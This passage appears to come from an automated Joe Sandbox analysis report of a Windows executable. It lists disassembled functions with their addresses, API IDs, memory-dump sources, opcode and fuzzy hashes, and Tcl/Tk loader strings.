                                              • API String ID: 2050971199-0
                                              • Opcode ID: c0904582055235206b637bb6fb630becad907d152bf6a94a3ba36ee294329771
                                              • Instruction ID: 54d366c196d34a41d073014e3362974975f18877de7c33bb3c621e6509e14ca3
                                              • Opcode Fuzzy Hash: c0904582055235206b637bb6fb630becad907d152bf6a94a3ba36ee294329771
                                              • Instruction Fuzzy Hash: 59E08615F0D20642FF146BB1589563823918F54B90B440330C93DCB3E1FE3C649582C0
                                              Function 00007FF6FFD28ECC Relevance: 3.0, APIs: 2, Instructions: 12fileCOMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: DeleteErrorFileLast
                                              • String ID:
                                              • API String ID: 2018770650-0
                                              • Opcode ID: b1319888d58344e1d146038dbe51c945b0a95c66f9246088a0a26429922302e0
                                              • Instruction ID: 05b00a1479a683c4443ef476559bddf97c05286c8ce8d5fd2c0e847fbe8d4bc5
                                              • Opcode Fuzzy Hash: b1319888d58344e1d146038dbe51c945b0a95c66f9246088a0a26429922302e0
                                              • Instruction Fuzzy Hash: 06D0C919E2860381E75427B50C8613823942F44770F500731C939C12D0FE2EA09511C5
                                              Function 00007FF6FFD28648 Relevance: 3.0, APIs: 2, Instructions: 12COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: DirectoryErrorLastRemove
                                              • String ID:
                                              • API String ID: 377330604-0
                                              • Opcode ID: 37b4a7e4d00d01a0eafeac234b577e395ecf372998b901b949fd5718f631df3e
                                              • Instruction ID: 66b794c93029bb1d01bb2acbd5012f4e126e48a6eda641e6a01a8dabe7206b0a
                                              • Opcode Fuzzy Hash: 37b4a7e4d00d01a0eafeac234b577e395ecf372998b901b949fd5718f631df3e
                                              • Instruction Fuzzy Hash: 2DD01224F1D54385E75427B50C8653823D03F44B72F500731C13EC12D0FE6DA09555C6
                                              Function 00007FF6FFD17F50 Relevance: 1.6, APIs: 1, Instructions: 141COMMON
                                              Download Yara Rule
                                              APIs
                                                • Part of subcall function 00007FF6FFD18DE0: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FF6FFD12A9B), ref: 00007FF6FFD18E1A
                                              • _findclose.LIBCMT ref: 00007FF6FFD181A9
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: ByteCharMultiWide_findclose
                                              • String ID:
                                              • API String ID: 2772937645-0
                                              • Opcode ID: 5c090acf361251766d305cac3795a7fd92be8d5984d8a4884605395e16dcc53a
                                              • Instruction ID: 979d03d437bf001b415ccf46adea12e208e25745e0db64ef17b3e051fcc3142c
                                              • Opcode Fuzzy Hash: 5c090acf361251766d305cac3795a7fd92be8d5984d8a4884605395e16dcc53a
                                              • Instruction Fuzzy Hash: B8717A52E18AC581E711CB2CD9052FD7360FBA9B48F54E321DBAC525A2FF28E2D9C744
                                              Function 00007FF6FFD2CC5C Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 23588c1d4a76148e9b0b46970dab15bc80394bd809d2a1daf00a983cf625f788
                                              • Instruction ID: 592670c6494dcaf4dbc960896df8dedb440f3bd53f8a7d81062cbafdf7880755
                                              • Opcode Fuzzy Hash: 23588c1d4a76148e9b0b46970dab15bc80394bd809d2a1daf00a983cf625f788
                                              • Instruction Fuzzy Hash: FA41C232A0960187EB349B29A54027D77A0EB56BA0F140331D6BEC76D0EF6EE802C7D1
                                              Function 00007FF6FFD184C0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _fread_nolock
                                              • String ID:
                                              • API String ID: 840049012-0
                                              • Opcode ID: f2ae685e84dca0bbc803177c6c7970f305c27bcdaa982280365f0477ddfb7bef
                                              • Instruction ID: 1ba9afdd0793f5175b686ef5d35c939bfed4dbe578e593ad49a2596d06ab3c4f
                                              • Opcode Fuzzy Hash: f2ae685e84dca0bbc803177c6c7970f305c27bcdaa982280365f0477ddfb7bef
                                              • Instruction Fuzzy Hash: 3F218D21B0929245FB51DB12A9047FAB755BF45BC4F884630EE3D877C6EE3DE0018684
                                              Function 00007FF6FFD2C6EC Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 6f129a51ddc40ccd340bbb8f7c4a6b0a77a886fd9940d8bf9f35834e1e9c90b2
                                              • Instruction ID: 6d6f9765fc1e4f1554c260812bcd38ee39d695d00e0a178bf657cb888a245dd1
                                              • Opcode Fuzzy Hash: 6f129a51ddc40ccd340bbb8f7c4a6b0a77a886fd9940d8bf9f35834e1e9c90b2
                                              • Instruction Fuzzy Hash: A6318E22E1864685EB119F19888137C3750AB54BE5F450335DA3D873D2FF7EA84287D1
                                              Function 00007FF6FFD2A715 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: HandleModule$AddressFreeLibraryProc
                                              • String ID:
                                              • API String ID: 3947729631-0
                                              • Opcode ID: 9c0127de50016242ddc74074b6af7f5d0c7ecdfc40d630aae62ff1a96a90ed2f
                                              • Instruction ID: a7948fd90de0a8e7768e238998ba4674e285ffb1901463e3a94b66091d2fb9f3
                                              • Opcode Fuzzy Hash: 9c0127de50016242ddc74074b6af7f5d0c7ecdfc40d630aae62ff1a96a90ed2f
                                              • Instruction Fuzzy Hash: 8B217A36A04A068AEB288F64C4806AC37B0EB44719F44073AD73D8BAD5EF39D485CBC4
                                              Function 00007FF6FFD269E4 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: a12511eb413a20500788068782fa49ddb1fe92b02a1e7189881bce5d81ea64e9
                                              • Instruction ID: bee7621243187f5114c80045c2f88dcd445dbf051a63c4b9654db02c2a765a67
                                              • Opcode Fuzzy Hash: a12511eb413a20500788068782fa49ddb1fe92b02a1e7189881bce5d81ea64e9
                                              • Instruction Fuzzy Hash: 6D115C22A1D78281EF609F51941127EA3A4AF85B80F544331EABC97BD6EF7EE51097C0
                                              Function 00007FF6FFD3748C Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 14b88cdde8f100e0c11df9c25968cfa6048feb9caeb9ba24198eb79990a08c61
                                              • Instruction ID: 435149cd7bf0b43a44fe6f89ee02cbc1afbfe9d292794589b2fa8e3e57de2b79
                                              • Opcode Fuzzy Hash: 14b88cdde8f100e0c11df9c25968cfa6048feb9caeb9ba24198eb79990a08c61
                                              • Instruction Fuzzy Hash: 8B219532A1CA4286DB658F18E44137977A1EB84B94F144334EB7D876D9FF3DD4008B80
                                              Function 00007FF6FFD20CEC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: cb4a28c9cfe68d4bf5caf65282be0dfe2d74942f75b7edef78e8fd4dc80d0569
                                              • Instruction ID: c0e55501012986b1fdff09aa70a9b04ded2ecf5ed91101c0d1b99ca21f49cae9
                                              • Opcode Fuzzy Hash: cb4a28c9cfe68d4bf5caf65282be0dfe2d74942f75b7edef78e8fd4dc80d0569
                                              • Instruction Fuzzy Hash: 3601A122A09B4540EB049F529800179A7A5BB95FE0F484730EE7C97BDAEE3DE10187C0
                                              Function 00007FF6FFD282D4 Relevance: 1.5, APIs: 1, Instructions: 43COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 429e4ff91632884dbfd59807356ed260fa29108cd8906d3b6e9196ad5ea12367
                                              • Instruction ID: 0dc14097e2ca983f9aaba942377487999cc229e6d7a6304b78d1744f9bf4f35d
                                              • Opcode Fuzzy Hash: 429e4ff91632884dbfd59807356ed260fa29108cd8906d3b6e9196ad5ea12367
                                              • Instruction Fuzzy Hash: EF018C30E0E64280FF607B6569812796395AF057A4F0C4736E93DC26CAFF3EA44146C8
                                              Function 00007FF6FFD2F948 Relevance: 1.5, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • RtlAllocateHeap.NTDLL(?,?,00000000,00007FF6FFD2C196,?,?,?,00007FF6FFD2B35B,?,?,00000000,00007FF6FFD2B5F6), ref: 00007FF6FFD2F99D
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: AllocateHeap
                                              • String ID:
                                              • API String ID: 1279760036-0
                                              • Opcode ID: 83da86fcac40c5efe6be46efa8cccb7ed61db28345aee0e9c2556edc7e0339ef
                                              • Instruction ID: 0bbc9e8e2555eadfdaff2b230ebc395e13646db82b18e9a8894e4622c203e495
                                              • Opcode Fuzzy Hash: 83da86fcac40c5efe6be46efa8cccb7ed61db28345aee0e9c2556edc7e0339ef
                                              • Instruction Fuzzy Hash: 7CF06246B0920791FF55576594513B913919F98B80F4C4B30CD3DC63C9FE2EE48082D1
                                              Function 00007FF6FFD2E3AC Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE
                                              Download Yara Rule
                                              APIs
                                              • RtlAllocateHeap.NTDLL(?,?,?,00007FF6FFD21514,?,?,?,00007FF6FFD22A26,?,?,?,?,?,00007FF6FFD24019), ref: 00007FF6FFD2E3EA
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: AllocateHeap
                                              • String ID:
                                              • API String ID: 1279760036-0
                                              • Opcode ID: d8b55510c5610d80ab4c44b86d687719a9e038cf882b555fd49ed5282eff217e
                                              • Instruction ID: 7f0523e9f58e014a6111402e58e0028a30319d69d092cf375da534168a047088
                                              • Opcode Fuzzy Hash: d8b55510c5610d80ab4c44b86d687719a9e038cf882b555fd49ed5282eff217e
                                              • Instruction Fuzzy Hash: DFF0FE21F1D24745FF546765589167953908F447A2F080734D93EC66C1FE6EE48191D1
                                              Function 00007FF6FFD28610 Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                                              Download Yara Rule
                                              APIs
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo
                                              • String ID:
                                              • API String ID: 3215553584-0
                                              • Opcode ID: 5d337e270712d004679ba659ef610f4cb2fc78abe2ab3a8c8a6757f66acf180b
                                              • Instruction ID: 19b4099eab0eae32fba3d959b7db2068ba2278f3d280afb76cbf4ab6cced7142
                                              • Opcode Fuzzy Hash: 5d337e270712d004679ba659ef610f4cb2fc78abe2ab3a8c8a6757f66acf180b
                                              • Instruction Fuzzy Hash: 26E0EC61E0E60642FB647EA449C267D23216F58741F104331DA388A3C3FD2E68545AE6
                                              Function 00007FF6FFD185F0 Relevance: 1.3, APIs: 1, Instructions: 92COMMON
                                              Download Yara Rule
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: DirectoryErrorLastRemove
                                              • String ID:
                                              • API String ID: 377330604-0
                                              • Opcode ID: ef079cd77129d22be3eb03a79881853608d6625fc6b272817acf66f86254b52f
                                              • Instruction ID: 7b93e37896d7f162041c108e1748f9a891fd5991759018a31cca47cd246edcf4
                                              • Opcode Fuzzy Hash: ef079cd77129d22be3eb03a79881853608d6625fc6b272817acf66f86254b52f
                                              • Instruction Fuzzy Hash: 5B417016D1CA8681F711DB2495012FD7360FBA9784F54A732DBAD821D3FF28A6D9C384

                                              Non-executed Functions

                                              Function 00007FF6FFD17100 Relevance: 164.8, APIs: 31, Strings: 63, Instructions: 263libraryloaderCOMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: AddressProc
                                              • String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
                                              • API String ID: 190572456-2208601799
                                              • Opcode ID: e7edea845a9f5d5bc22b5b56991a1be592abbf01ed24a972618679d5ebca8c04
                                              • Instruction ID: 559864c4db0157a4867a4171a6715a3b5606e9f8cabde12b6dfa61961980c6f7
                                              • Opcode Fuzzy Hash: e7edea845a9f5d5bc22b5b56991a1be592abbf01ed24a972618679d5ebca8c04
                                              • Instruction Fuzzy Hash: AEE19266A1DB0391FB59CB04A89117433A6BF08790F946735D93E862E5FFBCB58892C0
                                              Function 00007FF6FFD34EFC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON
                                              Download Yara Rule
                                              APIs
                                              Strings
                                              Memory Dump Source
                                              • Source File: 00000000.00000002.1910876955.00007FF6FFD11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FFD10000, based on PE: true
                                              • Associated: 00000000.00000002.1910849185.00007FF6FFD10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910912744.00007FF6FFD3C000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD4F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1910949079.00007FF6FFD51000.00000004.00000001.01000000.00000003.sdmpDownload File
                                              • Associated: 00000000.00000002.1911002464.00007FF6FFD53000.00000002.00000001.01000000.00000003.sdmpDownload File
                                              Joe Sandbox IDA Plugin
                                              • Snapshot File: hcaresult_0_2_7ff6ffd10000_Built (1).jbxd
                                              Similarity
                                              • API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
                                              • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                              • API String ID: 808467561-2761157908
                                              • Opcode ID: c804c22466df2b92b362f5d1d066b057dea08e8c29dc99d8cb90910c2247e431
